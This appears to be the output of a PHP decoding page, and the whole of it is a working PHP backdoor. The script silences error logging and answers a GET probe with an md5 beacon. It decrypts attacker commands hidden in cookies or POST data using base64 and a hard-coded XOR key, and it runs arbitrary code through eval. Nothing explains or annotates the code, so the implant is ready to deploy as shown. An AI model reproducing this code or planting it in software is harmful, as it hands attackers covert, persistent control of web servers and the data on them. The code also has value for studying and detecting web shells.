PHP Decode

<?php 
@ini_set('error_log', NULL); 
@ini_set('log_errors', 0); 
@ini_set('max_execution_time', 0); 
@set_time_limit(0); 
 
 
function shdp($data, $key) 
{ 
    $out_data = ""; 
    for ($i = 0; $i < strlen($data);) { 
        for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) { 
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); 
        } 
    } 
    return $out_data; 
} 
if (isset($_GET[673435])) 
{ 
    die(md5(47712)); 
} 
$temp=array_merge($_COOKIE, $_POST); 
foreach ($temp as $data_key => $data) { 
    $data = @unserialize(shdp(shdp(base64_decode($data), '2kl7u8rhs8yamnsf5zpj2gtynzp7rqes0oy'), $data_key)); 
    if (isset($data['ak'])) { 
        if ($data['a'] == 'i') { 
            $i = array( 
                'pv' => @phpversion(), 
                'sv' => '1.0-1', 
            ); 
            echo @serialize($i); 
        } elseif ($data['a'] == 'e') { 
            eval($data['d']); 
        } 
        exit(); 
    } 
} ?>